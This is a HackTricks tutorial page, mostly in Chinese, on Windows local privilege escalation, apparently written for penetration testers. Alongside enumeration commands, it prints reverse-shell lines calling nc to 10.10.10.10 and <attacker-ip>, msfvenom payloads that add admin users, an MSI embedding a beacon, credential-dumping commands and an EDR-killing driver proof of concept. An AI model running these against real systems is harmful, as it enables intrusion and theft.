Windows Local Privilege Escalation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查找 Windows local privilege escalation 向量的最佳工具: WinPEAS

初始 Windows 理论

Access Tokens

如果你不知道什么是 Windows Access Tokens,请在继续之前阅读以下页面:

Access Tokens

ACLs - DACLs/SACLs/ACEs

有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

如果你不知道 Windows 中的 integrity levels 是什么,你应该在继续之前阅读以下页面:

Integrity Levels

Windows Security Controls

Windows 中有不同的东西可能会 阻止你枚举系统、运行可执行文件,甚至 检测到你的活动。你应该 阅读 以下 页面枚举 所有这些 防御 机制,在开始 privilege escalation enumeration 之前:

Windows Security Controls

System Info

Version info enumeration

检查 Windows 版本是否存在任何已知漏洞(也检查已应用的补丁)。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

版本漏洞利用

这个 site 非常适合查找有关 Microsoft 安全漏洞的详细信息。这个数据库包含超过 4,700 个安全漏洞,展示了 Windows 环境所呈现的 巨大攻击面

在系统上

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas 已嵌入 watson)

本地使用系统信息

Github 上的 exploits 仓库:

环境

有没有任何凭证/有价值的信息保存在环境变量 (env variables) 中?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell 历史

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell 转录文件

你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/] 学习如何启用此功能。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

会记录 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用以及脚本的部分内容。然而,可能无法捕获完整的执行细节和输出结果。

要启用此功能,请按照文档中 “Transcript files” 一节的说明进行操作,选择 “Module Logging” 而不是 “Powershell Transcription”

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

要查看来自 PowersShell 日志的最近 15 条事件,您可以执行:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

捕获脚本执行的完整活动和全部内容记录,确保每个代码块在运行时都被记录。此过程保留每项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可以获得对该过程的详细洞见。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

有关 Script Block 的日志事件可在 Windows 事件查看器中找到,路径为:Application and Services Logs > Microsoft > Windows > PowerShell > Operational
要查看最近 20 条事件,可使用:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

互联网设置

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

驱动器

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

如果更新请求不是使用 httpS 而是使用 http,则可以攻破系统。

首先通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

或者在 PowerShell 中执行以下:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

如果你收到类似以下的回复:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

在此阅读完整报告
基本上,这是该漏洞利用的缺陷:

如果我们有权限修改本地用户的 proxy,并且 Windows Updates 使用在 Internet Explorer 设置中配置的 proxy,那么我们就可以在本地运行 PyWSUS 来拦截自身的流量并以提升权限的用户身份在我们的资产上运行代码。

此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将该证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS 两种 WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书实施信任首次使用(trust-on-first-use)类型的验证。如果所呈现的证书被用户信任且主机名正确,服务将接受该证书。

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

如果你有一个 meterpreter 会话,你可以使用模块 exploit/windows/local/always_install_elevated 自动化此技术

PowerUP

使用来自 power-up 的 Write-UserAddMSI 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。该脚本会写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你需要 GIU 访问权限):

Write-UserAddMSI

只需执行创建的二进制文件即可提升权限。

MSI Wrapper

阅读本教程以了解如何使用这些工具创建 MSI Wrapper。请注意,如果你只是执行 命令行,你可以封装一个 “.bat” 文件。

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • 使用 Cobalt Strike 或 Metasploit 生成 一个新的 Windows EXE TCP payload,保存为 C:\privesc\beacon.exe
  • 打开 Visual Studio,选择 Create a new project 并在搜索框输入 “installer”。选择 Setup Wizard 项目并点击 Next
  • 为项目命名,例如 AlwaysPrivesc,使用位置 C:\privesc,选择 place solution and project in the same directory,然后点击 Create
  • 一直点击 Next,直到到达第 3 步(选择要包含的文件)。点击 Add 并选择你刚刚生成的 Beacon payload。然后点击 Finish
  • Solution Explorer 中选中 AlwaysPrivesc 项目,在 Properties 中将 TargetPlatformx86 更改为 x64
  • 你可以更改其他属性,例如 AuthorManufacturer,这可以使已安装的应用看起来更可信。
  • 右键项目并选择 View > Custom Actions
  • 右键 Install 并选择 Add Custom Action
  • 双击 Application Folder,选择你的 beacon.exe 文件并点击 OK。这将确保 beacon payload 在安装程序运行时立即被执行。
  • Custom Action Properties 下,将 Run64Bit 更改为 True
  • 最后,build it
  • 如果出现警告 File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保你已将平台设置为 x64。

MSI Installation

要在后台执行恶意 .msi 文件的安装

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

要利用此漏洞,你可以使用:exploit/windows/local/always_install_elevated

防病毒和检测

审计设置

这些设置决定了哪些内容会被 logged,因此你应该注意。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding,了解日志发送到何处很有用

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS 旨在用于 管理本地 Administrator 密码,确保域加入的计算机上的每个密码均为 唯一、随机并定期更新。这些密码会安全地存储在 Active Directory 中,只有通过 ACLs 被授予足够权限的用户才能访问,从而在被授权的情况下查看本地管理员密码。

LAPS

WDigest

如果启用,明文密码会被存储在 LSASS(本地安全机构子系统服务)。
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA 保护

Windows 8.1 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 阻止 不受信任的进程 读取其内存 或注入代码的尝试,从而进一步提升系统安全。
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard 引入于 Windows 10。其目的是保护设备上存储的凭据,免受诸如 pass-the-hash 攻击之类的威胁。| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials 是由 Local Security Authority (LSA) 进行验证,并被操作系统组件使用。 当用户的 logon data 被已注册的 security package 验证时,通常会为该用户建立 domain credentials。
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

用户与组

列举用户与组

你应该检查自己所属的组是否拥有可利用的权限

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特权组

如果你 属于某些特权组,你可能能够提升权限。在这里了解特权组以及如何滥用它们来提升权限:

Privileged Groups

令牌操作

了解更多 关于什么是 令牌 的内容,请参见此页面: Windows Tokens.
查看以下页面以了解有趣的令牌以及如何滥用它们:

Abusing Tokens

已登录用户 / 会话

qwinsta
klist sessions

主目录

dir C:\Users
Get-ChildItem C:\Users

密码策略

net accounts

获取剪贴板内容

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

首先,在列出进程时,检查进程命令行中是否包含密码
检查是否可以覆盖正在运行的二进制文件,或是否对二进制文件所在文件夹有写入权限,以利用可能的 DLL Hijacking attacks

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

始终检查是否存在可能的electron/cef/chromium debuggers 正在运行,你可以滥用它们来提权

检查进程二进制文件的权限

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

检查进程二进制文件所在文件夹的权限 (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

你可以使用来自 sysinternals 的 procdump 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中往往有 credentials in clear text in memory,尝试转储内存并读取这些 credentials。

procdump.exe -accepteula -ma <proc_name_tasklist>

不安全的 GUI 应用

以 SYSTEM 身份运行的应用可能允许用户启动 CMD,或浏览目录。

Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

Services

Service Triggers 允许 Windows 在某些条件发生时启动服务(named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.)。即使没有 SERVICE_START 权限,你通常也可以通过触发这些 triggers 来启动有特权的服务。有关枚举和激活技术,请参见:

Service Triggers

获取服务列表:

net start
wmic service list brief
sc query
Get-Service

Permissions

你可以使用 sc 获取有关服务的信息

sc qc <service_name>

建议使用来自 Sysinternals 的二进制文件 accesschk 来检查每个服务所需的权限级别。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

建议检查 “Authenticated Users” 是否可以修改任何服务:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

启用服务

如果你遇到这个错误(例如 SSDPSRV):

系统错误 1058 已发生.
该服务无法启动,要么因为它被禁用,要么因为没有与之关联的已启用设备.

你可以使用以下命令启用它

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)

另一个解决方法 是运行:

sc.exe config usosvc start= auto

修改服务二进制路径

在 “Authenticated users” 组对某个服务拥有 SERVICE_ALL_ACCESS 权限的情况下,可以修改该服务的可执行二进制文件。要修改并执行 sc

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

重启服务

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

可以通过以下权限提升特权:

  • SERVICE_CHANGE_CONFIG: 允许重新配置服务二进制文件。
  • WRITE_DAC: 允许重新配置权限,从而能够更改服务配置。
  • WRITE_OWNER: 允许获取所有权并重新配置权限。
  • GENERIC_WRITE: 继承更改服务配置的能力。
  • GENERIC_ALL: 同样继承更改服务配置的能力。

可使用 exploit/windows/local/service_permissions 来检测和利用此漏洞。

服务二进制文件的弱权限

检查你是否可以修改由服务执行的二进制文件 或者 是否具有 对二进制所在文件夹的写权限 (DLL Hijacking).
你可以使用 wmic 获取每个由服务执行的二进制(不在 system32 中),并使用 icacls 检查你的权限:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

你也可以使用 scicacls

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

服务注册表的修改权限

你应该检查是否能修改任何服务注册表.\
你可以通过以下操作检查你对服务注册表权限

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

应检查 Authenticated UsersNT AUTHORITY\INTERACTIVE 是否拥有 FullControl 权限。如果是,服务执行的二进制文件可以被更改。

要更改所执行二进制的 Path:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

如果你对某个 registry 拥有此权限,这意味着你可以从这个 registry 创建子 registries。在 Windows services 的情况下,这足以 execute arbitrary code:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

如果可执行文件的路径没有被引号包含,Windows 会尝试执行每个空格前的结尾部分。

例如,对于路径 C:\Program Files\Some Folder\Service.exe,Windows 会尝试执行:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

列出所有未加引号的服务路径,排除属于内置 Windows 服务的那些:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

你可以检测并利用 此漏洞 使用 metasploit: exploit/windows/local/trusted\_service\_path 你可以使用 metasploit 手动创建一个服务二进制文件:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

恢复操作

Windows 允许用户指定在服务失败时要采取的操作。此功能可以配置为指向一个 binary。如果该 binary 可被替换,可能会发生 privilege escalation。更多细节可见在 official documentation

应用程序

已安装的应用程序

检查 permissions of the binaries(也许你可以覆盖其中一个并 escalate privileges)以及 文件夹DLL Hijacking)。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

写入权限

检查是否可以修改某些配置文件以读取一些特殊文件,或者是否可以修改将由管理员账户 (schedtasks) 执行的某个二进制文件。

查找系统中弱文件夹/文件权限的一种方法是执行:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

在启动时运行

检查你是否可以覆盖某个将由不同用户执行的注册表项或二进制文件。
阅读 以下页面 以了解更多关于有趣的 autoruns 位置以 escalate privileges

Privilege Escalation with Autoruns

驱动程序

查找可能的 第三方 异常/有漏洞 驱动程序

driverquery
driverquery.exe /fo table
driverquery /SI

如果一个驱动暴露了 arbitrary kernel read/write primitive(在设计不当的 IOCTL handlers 中常见),你可以通过直接从 kernel memory 窃取 SYSTEM token 来提升权限。逐步技术见:

Arbitrary Kernel Rw Token Theft

对于存在 race-condition 的漏洞,如果易受攻击的调用会打开由攻击者控制的 Object Manager 路径,故意减慢该路径的查找(使用最大长度的组件或深层目录链)可以将窗口从微秒级扩展到几十微秒:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

现代 hive 漏洞允许你构造确定性布局、滥用可写的 HKLM/HKU 子孙,并将元数据损坏转换为 kernel paged-pool overflows,且无需自定义驱动。完整链条见:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

一些签名的第三方驱动通过 IoCreateDeviceSecure 使用强 SDDL 创建其 device object,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。没有该标志时,当通过包含额外组件的路径打开设备时,secure DACL 将不会被强制执行,允许任何非特权用户通过使用如下命名空间路径获取句柄:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

一旦用户能打开设备,驱动暴露的特权 IOCTLs 可被滥用用于 LPE 和篡改。野外观察到的示例能力:

  • 返回对任意进程的完全访问句柄(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。
  • 不受限制的原始磁盘读/写(离线篡改、引导时持久化技巧)。
  • 终止任意进程,包括 Protected Process/Light (PP/PPL),允许从用户态通过 kernel 对 AV/EDR 进行 kill。

最小 PoC 模式(用户态):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

开发者缓解措施

  • 在为打算通过 DACL 限制的设备对象创建时,始终设置 FILE_DEVICE_SECURE_OPEN。
  • 为特权操作验证调用者上下文。在允许进程终止或返回句柄之前,添加 PP/PPL 检查。
  • 限制 IOCTLs(访问掩码、METHOD_*、输入校验),并考虑使用 brokered 模式而不是直接授予 kernel privileges。

防御者的检测思路

  • 监控用户模式对可疑设备名(e.g., \ .\amsdk*)的打开,以及指示滥用的特定 IOCTL 序列。
  • 强制执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的 allow/deny 列表。

PATH DLL Hijacking

如果你有 位于 PATH 的文件夹内的写权限,你可能能够劫持进程加载的 DLL 并 escalate privileges

检查 PATH 中所有文件夹的权限:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

有关如何滥用此检查的更多信息:

Writable Sys Path +Dll Hijacking Privesc

网络

共享

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts 文件

检查 hosts 文件中是否硬编码了其他已知计算机

type C:\Windows\System32\drivers\etc\hosts

网络接口 & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

检查来自外部的受限服务

netstat -ano #Opened ports?

路由表

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP 表

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

防火墙规则

Check this page for Firewall related commands (列出规则、创建规则、关闭、关闭…)

更多 commands for network enumeration here

Windows 的 Linux 子系统 (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

可执行文件 bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 找到

如果你获得 root user,你可以在任何 port 上监听(第一次使用 nc.exe 在某个 port 上监听时,系统会通过 GUI 询问是否应该允许 nc 被 firewall 放行)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

要轻松以 root 启动 bash,可以尝试 --default-user root

你可以在文件夹 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 中浏览 WSL 文件系统

Windows 凭据

Winlogon 凭据

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

凭据管理器 / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault 存储用于服务器、网站和其他程序的用户凭据,以便 Windows 能够 自动为用户登录。乍一看,这似乎意味着用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,从而通过浏览器自动登录。但事实并非如此。

Windows Vault 存储的是 Windows 可以自动为用户登录的凭据,这意味着任何 需要凭据以访问资源的 Windows 应用程序(服务器或网站)可以利用此 Credential Manager 和 Windows Vault,使用存储的凭据,而不是让用户每次都输入用户名和密码。

除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用某个资源的凭据。因此,如果你的应用想要使用 vault,它应以某种方式 与 credential manager 通信并从默认存储 vault 请求该资源的凭据

使用 cmdkey 列出机器上存储的凭据。

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

然后你可以使用 runas/savecred 选项来使用已保存的凭据。下面的示例通过 SMB 共享调用远程二进制文件。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

使用提供的一组凭证运行 runas

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

注意:mimikatz、lazagne、credentialfileviewVaultPasswordView,或来自 Empire Powershells module

DPAPI

The Data Protection API (DPAPI) 提供了一种对数据进行对称加密的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统的秘密来显著增加熵。

DPAPI enables the encryption of keys through a symmetric key that is derived from the user’s login secrets。在涉及系统加密的场景中,它使用系统的域身份验证秘密。

